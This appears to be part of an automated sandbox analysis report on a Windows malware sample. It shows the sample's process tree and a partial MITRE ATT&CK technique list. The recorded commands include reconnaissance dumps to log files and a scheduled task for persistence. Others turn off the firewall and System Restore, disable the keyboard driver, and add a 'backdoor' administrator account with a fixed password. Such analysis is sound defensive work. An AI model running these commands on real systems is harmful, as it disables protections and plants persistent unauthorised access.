    systeminfo
    3⤵
    - Gathers system information
    PID:756
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3068
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:5336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3284
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3708
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5588
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4124
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4528
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3644
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2220
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:3008
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:2892
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5792
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4452
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:4872
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:4488
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:1432
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:3936
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:4600

C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe
C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe
1⤵
PID:3600

C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe
C:\Users\Admin\AppData\Local\Temp\cakhiatv.watch_nano.exe
1⤵
PID:1768

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry